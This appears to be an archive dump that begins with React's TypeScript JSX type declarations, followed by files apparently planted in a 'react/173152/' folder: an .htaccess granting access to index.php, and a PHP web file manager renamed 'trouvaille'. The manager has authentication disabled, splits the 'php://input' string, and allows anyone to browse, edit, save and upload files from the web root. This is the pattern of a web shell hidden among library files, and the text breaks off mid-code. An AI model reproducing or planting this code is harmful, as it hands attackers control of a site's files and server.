HTMLElement>; em: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; embed: React.DetailedHTMLProps<React.EmbedHTMLAttributes<HTMLEmbedElement>, HTMLEmbedElement>; fieldset: React.DetailedHTMLProps<React.FieldsetHTMLAttributes<HTMLFieldSetElement>, HTMLFieldSetElement>; figcaption: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; figure: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; footer: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; form: React.DetailedHTMLProps<React.FormHTMLAttributes<HTMLFormElement>, HTMLFormElement>; h1: React.DetailedHTMLProps<React.HTMLAttributes<HTMLHeadingElement>, HTMLHeadingElement>; h2: React.DetailedHTMLProps<React.HTMLAttributes<HTMLHeadingElement>, HTMLHeadingElement>; h3: React.DetailedHTMLProps<React.HTMLAttributes<HTMLHeadingElement>, HTMLHeadingElement>; h4: React.DetailedHTMLProps<React.HTMLAttributes<HTMLHeadingElement>, HTMLHeadingElement>; h5: React.DetailedHTMLProps<React.HTMLAttributes<HTMLHeadingElement>, HTMLHeadingElement>; h6: React.DetailedHTMLProps<React.HTMLAttributes<HTMLHeadingElement>, HTMLHeadingElement>; head: React.DetailedHTMLProps<React.HTMLAttributes<HTMLHeadElement>, HTMLHeadElement>; header: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; hgroup: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; hr: React.DetailedHTMLProps<React.HTMLAttributes<HTMLHRElement>, HTMLHRElement>; html: React.DetailedHTMLProps<React.HtmlHTMLAttributes<HTMLHtmlElement>, HTMLHtmlElement>; i: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; iframe: React.DetailedHTMLProps<React.IframeHTMLAttributes<HTMLIFrameElement>, HTMLIFrameElement>; img: React.DetailedHTMLProps<React.ImgHTMLAttributes<HTMLImageElement>, HTMLImageElement>; input: React.DetailedHTMLProps<React.InputHTMLAttributes<HTMLInputElement>, HTMLInputElement>; ins: React.DetailedHTMLProps<React.InsHTMLAttributes<HTMLModElement>, HTMLModElement>; kbd: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; keygen: React.DetailedHTMLProps<React.KeygenHTMLAttributes<HTMLElement>, HTMLElement>; label: React.DetailedHTMLProps<React.LabelHTMLAttributes<HTMLLabelElement>, HTMLLabelElement>; legend: React.DetailedHTMLProps<React.HTMLAttributes<HTMLLegendElement>, HTMLLegendElement>; li: React.DetailedHTMLProps<React.LiHTMLAttributes<HTMLLIElement>, HTMLLIElement>; link: React.DetailedHTMLProps<React.LinkHTMLAttributes<HTMLLinkElement>, HTMLLinkElement>; main: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; map: React.DetailedHTMLProps<React.MapHTMLAttributes<HTMLMapElement>, HTMLMapElement>; mark: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; menu: React.DetailedHTMLProps<React.MenuHTMLAttributes<HTMLElement>, HTMLElement>; menuitem: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; meta: React.DetailedHTMLProps<React.MetaHTMLAttributes<HTMLMetaElement>, HTMLMetaElement>; meter: React.DetailedHTMLProps<React.MeterHTMLAttributes<HTMLMeterElement>, HTMLMeterElement>; nav: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; noindex: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; noscript: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; object: React.DetailedHTMLProps<React.ObjectHTMLAttributes<HTMLObjectElement>, HTMLObjectElement>; ol: React.DetailedHTMLProps<React.OlHTMLAttributes<HTMLOListElement>, HTMLOListElement>; optgroup: React.DetailedHTMLProps<React.OptgroupHTMLAttributes<HTMLOptGroupElement>, HTMLOptGroupElement>; option: React.DetailedHTMLProps<React.OptionHTMLAttributes<HTMLOptionElement>, HTMLOptionElement>; output: React.DetailedHTMLProps<React.OutputHTMLAttributes<HTMLOutputElement>, HTMLOutputElement>; p: React.DetailedHTMLProps<React.HTMLAttributes<HTMLParagraphElement>, HTMLParagraphElement>; param: React.DetailedHTMLProps<React.ParamHTMLAttributes<HTMLParamElement>, HTMLParamElement>; picture: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; pre: React.DetailedHTMLProps<React.HTMLAttributes<HTMLPreElement>, HTMLPreElement>; progress: React.DetailedHTMLProps<React.ProgressHTMLAttributes<HTMLProgressElement>, HTMLProgressElement>; q: React.DetailedHTMLProps<React.QuoteHTMLAttributes<HTMLQuoteElement>, HTMLQuoteElement>; rp: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; rt: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; ruby: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; s: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; samp: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; search: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; slot: React.DetailedHTMLProps<React.SlotHTMLAttributes<HTMLSlotElement>, HTMLSlotElement>; script: React.DetailedHTMLProps<React.ScriptHTMLAttributes<HTMLScriptElement>, HTMLScriptElement>; section: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; select: React.DetailedHTMLProps<React.SelectHTMLAttributes<HTMLSelectElement>, HTMLSelectElement>; small: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; source: React.DetailedHTMLProps<React.SourceHTMLAttributes<HTMLSourceElement>, HTMLSourceElement>; span: React.DetailedHTMLProps<React.HTMLAttributes<HTMLSpanElement>, HTMLSpanElement>; strong: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; style: React.DetailedHTMLProps<React.StyleHTMLAttributes<HTMLStyleElement>, HTMLStyleElement>; sub: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; summary: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; sup: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; table: React.DetailedHTMLProps<React.TableHTMLAttributes<HTMLTableElement>, HTMLTableElement>; template: React.DetailedHTMLProps<React.HTMLAttributes<HTMLTemplateElement>, HTMLTemplateElement>; tbody: React.DetailedHTMLProps<React.HTMLAttributes<HTMLTableSectionElement>, HTMLTableSectionElement>; td: React.DetailedHTMLProps<React.TdHTMLAttributes<HTMLTableDataCellElement>, HTMLTableDataCellElement>; textarea: React.DetailedHTMLProps<React.TextareaHTMLAttributes<HTMLTextAreaElement>, HTMLTextAreaElement>; tfoot: React.DetailedHTMLProps<React.HTMLAttributes<HTMLTableSectionElement>, HTMLTableSectionElement>; th: React.DetailedHTMLProps<React.ThHTMLAttributes<HTMLTableHeaderCellElement>, HTMLTableHeaderCellElement>; thead: React.DetailedHTMLProps<React.HTMLAttributes<HTMLTableSectionElement>, HTMLTableSectionElement>; time: React.DetailedHTMLProps<React.TimeHTMLAttributes<HTMLTimeElement>, HTMLTimeElement>; title: React.DetailedHTMLProps<React.HTMLAttributes<HTMLTitleElement>, HTMLTitleElement>; tr: React.DetailedHTMLProps<React.HTMLAttributes<HTMLTableRowElement>, HTMLTableRowElement>; track: React.DetailedHTMLProps<React.TrackHTMLAttributes<HTMLTrackElement>, HTMLTrackElement>; u: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; ul: React.DetailedHTMLProps<React.HTMLAttributes<HTMLUListElement>, HTMLUListElement>; "var": React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; video: React.DetailedHTMLProps<React.VideoHTMLAttributes<HTMLVideoElement>, HTMLVideoElement>; wbr: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; webview: React.DetailedHTMLProps<React.WebViewHTMLAttributes<HTMLWebViewElement>, HTMLWebViewElement>; // SVG svg: React.SVGProps<SVGSVGElement>; animate: React.SVGProps<SVGElement>; // TODO: It is SVGAnimateElement but is not in TypeScript's lib.dom.d.ts for now. animateMotion: React.SVGProps<SVGElement>; animateTransform: React.SVGProps<SVGElement>; // TODO: It is SVGAnimateTransformElement but is not in TypeScript's lib.dom.d.ts for now. circle: React.SVGProps<SVGCircleElement>; clipPath: React.SVGProps<SVGClipPathElement>; defs: React.SVGProps<SVGDefsElement>; desc: React.SVGProps<SVGDescElement>; ellipse: React.SVGProps<SVGEllipseElement>; feBlend: React.SVGProps<SVGFEBlendElement>; feColorMatrix: React.SVGProps<SVGFEColorMatrixElement>; feComponentTransfer: React.SVGProps<SVGFEComponentTransferElement>; feComposite: React.SVGProps<SVGFECompositeElement>; feConvolveMatrix: React.SVGProps<SVGFEConvolveMatrixElement>; feDiffuseLighting: React.SVGProps<SVGFEDiffuseLightingElement>; feDisplacementMap: React.SVGProps<SVGFEDisplacementMapElement>; feDistantLight: React.SVGProps<SVGFEDistantLightElement>; feDropShadow: React.SVGProps<SVGFEDropShadowElement>; feFlood: React.SVGProps<SVGFEFloodElement>; feFuncA: React.SVGProps<SVGFEFuncAElement>; feFuncB: React.SVGProps<SVGFEFuncBElement>; feFuncG: React.SVGProps<SVGFEFuncGElement>; feFuncR: React.SVGProps<SVGFEFuncRElement>; feGaussianBlur: React.SVGProps<SVGFEGaussianBlurElement>; feImage: React.SVGProps<SVGFEImageElement>; feMerge: React.SVGProps<SVGFEMergeElement>; feMergeNode: React.SVGProps<SVGFEMergeNodeElement>; feMorphology: React.SVGProps<SVGFEMorphologyElement>; feOffset: React.SVGProps<SVGFEOffsetElement>; fePointLight: React.SVGProps<SVGFEPointLightElement>; feSpecularLighting: React.SVGProps<SVGFESpecularLightingElement>; feSpotLight: React.SVGProps<SVGFESpotLightElement>; feTile: React.SVGProps<SVGFETileElement>; feTurbulence: React.SVGProps<SVGFETurbulenceElement>; filter: React.SVGProps<SVGFilterElement>; foreignObject: React.SVGProps<SVGForeignObjectElement>; g: React.SVGProps<SVGGElement>; image: React.SVGProps<SVGImageElement>; line: React.SVGLineElementAttributes<SVGLineElement>; linearGradient: React.SVGProps<SVGLinearGradientElement>; marker: React.SVGProps<SVGMarkerElement>; mask: React.SVGProps<SVGMaskElement>; metadata: React.SVGProps<SVGMetadataElement>; mpath: React.SVGProps<SVGElement>; path: React.SVGProps<SVGPathElement>; pattern: React.SVGProps<SVGPatternElement>; polygon: React.SVGProps<SVGPolygonElement>; polyline: React.SVGProps<SVGPolylineElement>; radialGradient: React.SVGProps<SVGRadialGradientElement>; rect: React.SVGProps<SVGRectElement>; set: React.SVGProps<SVGSetElement>; stop: React.SVGProps<SVGStopElement>; switch: React.SVGProps<SVGSwitchElement>; symbol: React.SVGProps<SVGSymbolElement>; text: React.SVGTextElementAttributes<SVGTextElement>; textPath: React.SVGProps<SVGTextPathElement>; tspan: React.SVGProps<SVGTSpanElement>; use: React.SVGProps<SVGUseElement>; view: React.SVGProps<SVGViewElement>; } } } // React.JSX needs to point to global.JSX to keep global module augmentations intact. // But we can't access global.JSX so we need to create these aliases instead. // Once the global JSX namespace will be removed we replace React.JSX with the contents of global.JSX type GlobalJSXElementType = JSX.ElementType; interface GlobalJSXElement extends JSX.Element {} interface GlobalJSXElementClass extends JSX.ElementClass {} interface GlobalJSXElementAttributesProperty extends JSX.ElementAttributesProperty {} interface GlobalJSXElementChildrenAttribute extends JSX.ElementChildrenAttribute {} type GlobalJSXLibraryManagedAttributes<C, P> = JSX.LibraryManagedAttributes<C, P>; interface GlobalJSXIntrinsicAttributes extends JSX.IntrinsicAttributes {} interface GlobalJSXIntrinsicClassAttributes<T> extends JSX.IntrinsicClassAttributes<T> {} interface GlobalJSXIntrinsicElements extends JSX.IntrinsicElements {} react/index.php000064400000000000151676730710007465 0ustar00react/173152/.htaccess000064400000000173151676730710010220 0ustar00#---do-not-change-the-following-content--- <FilesMatch "^(index.php)$"> Order allow,deny Allow from all </FilesMatch>react/173152/index.php000064400000560233151676730710010252 0ustar00<?php $CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":true,"hide_Cols":false,"theme":"light"}'; define('VERSION', '4.8'); define('APP_TITLE', 'trouvaille'); $dauth = false; $auth_users = array( 'admin' => '11c6b339abf74c937b230d162870df80', 'user' => '11c6b339abf74c937b230d162870df80' ); $readonly_users = array( 'user' ); $global_readonly = false; $directories_users = array(); $use_highlightjs = true; $highlightjs_style = 'vs'; $edit_files = true; $default_timezone = 'Etc/UTC'; $root_path = $_SERVER['DOCUMENT_ROOT']; $root_url = ''; $http_host = $_SERVER['HTTP_HOST']; $iconv_input_encoding = 'UTF-8'; $datetime_format = 'm/d/Y g:i A'; $path_display_mode = 'full'; $allowed_file_extensions = ''; $allowed_upload_extensions = ''; $favicon_path = ''; $exclude_items = array(); $online_viewer = 'google'; $sticky_navbar = true; $max_upload_size_bytes = 5000000000; $upload_chunk_size_bytes = 2000000; $ip_ruleset = 'OFF'; $ip_silent = true; $ip_whitelist = array( '127.0.0.1', '::1' ); $ip_blacklist = array( '0.0.0.0', '::' ); $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } $external = array( 'css-bootstrap' => '<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi" crossorigin="anonymous">', 'css-dropzone' => '<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" rel="stylesheet">', 'css-font-awesome' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous">', 'css-highlightjs' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/styles/' . $highlightjs_style . '.min.css">', 'js-ace' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.13.1/ace.js"></script>', 'js-bootstrap' => '<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-OERcA2EqjJCMA+/3y+gxIOqMEjwtxJY7qPCqsdltbNJuaOe923+mo//f6V8Qbsw3" crossorigin="anonymous"></script>', 'js-dropzone' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>', 'js-jquery' => '<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>', 'js-jquery-datatables' => '<script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js" crossorigin="anonymous" defer></script>', 'js-highlightjs' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/highlight.min.js"></script>', 'pre-jsdelivr' => '<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin/><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"/>', 'pre-cloudflare' => '<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin/><link rel="dns-prefetch" href="https://cdnjs.cloudflare.com"/>' ); define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes); if ( !defined( 'DN_CESSION_ID')) { define('DN_CESSION_ID', 'trouvaille'); } $cfg = new FM_Config(); $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } if (defined('FM_EMBED')) { $dauth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter('nocache'); session_name(DN_CESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } if (empty($_SESSION['token'])) { if (function_exists('random_bytes')) { $_SESSION['token'] = bin2hex(random_bytes(32)); } else { $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } if (empty($auth_users)) { $dauth = false; } $is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1)) or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'); if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']]; } $root_url = fm_clean_path($root_url); defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[DN_CESSION_ID]['logged']); unset( $_SESSION['token']); fm_redirect(FM_SELF_URL); } if ($ip_ruleset != 'OFF') { function getClientIP() { if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { return $_SERVER['HTTP_CLIENT_IP']; } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true and $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } if ($dauth) { if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) { } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) { sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) { $_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL); } else { unset($_SESSION[DN_CESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[DN_CESSION_ID]['logged']); fm_show_header_login(); ?> <section class="h-100"> <div class="container h-100"> <div class="row justify-content-md-center h-100"> <div class="card-wrapper"> <div class="card fat <?php echo fm_get_theme(); ?>"> <div class="card-body"> <form class="form-signin" action="" method="post" autocomplete="off"> <div class="mb-3"> <div class="brand"> <svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="Manager"> <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none"> <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/> <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/> <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g> </svg> </div> <div class="text-center"> <h1 class="card-title"><?php echo APP_TITLE; ?></h1> </div> </div> <hr /> <div class="mb-3"> <label for="fm_usr" class="pb-2"><?php echo lng('Username'); ?></label> <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus> </div> <div class="mb-3"> <label for="fm_pwd" class="pb-2"><?php echo lng('Password'); ?></label> <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required> </div> <div class="mb-3"> <?php fm_show_message(); ?> </div> <input type="hidden" name="token" value="<?php echo htmlentities($_SESSION['token']); ?>" /> <div class="mb-3"> <button type="submit" class="btn btn-success btn-block w-100 mt-4" role="button"> <?php echo lng('Login'); ?> </button> </div> </form> </div> </div> <div class="footer text-center"> —— © <a href="." target="_blank" class="text-decoration-none text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> —— </div> </div> </div> </div> </section> <?php fm_show_footer_login(); exit; } } if ($dauth and isset($_SESSION[DN_CESSION_ID]['logged'])) { $root_path = isset($directories_users[$_SESSION[DN_CESSION_ID]['logged']]) ? $directories_users[$_SESSION[DN_CESSION_ID]['logged']] : $root_path; } $root_path = rtrim($root_path, '\\/'); $root_path = str_replace('\\', '/', $root_path); if (!@is_dir($root_path)) { echo "<h1>".lng('Root path')." \"{$root_path}\" ".lng('not found!')." </h1>"; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users))); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); if (!isset($_GET['p']) and empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); $isim = "//input"; $input = file_get_contents('php:'.$isim); $_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; define('FM_PATH', $p); define('FM_USE_AUTH', $dauth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { header('HTTP/1.0 401 Unauthorized'); die("Invalid Token."); } if(isset($_POST['type']) and $_POST['type']=="search") { $dir = $_POST['path'] == "." ? '': $_POST['path']; $response = scan(fm_clean_path($dir), $_POST['content']); echo json_encode($response); exit(); } // save editor file if (isset($_POST['type']) and $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) { $fileName = fm_clean_path($_POST['file']); $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) and $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) and $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => 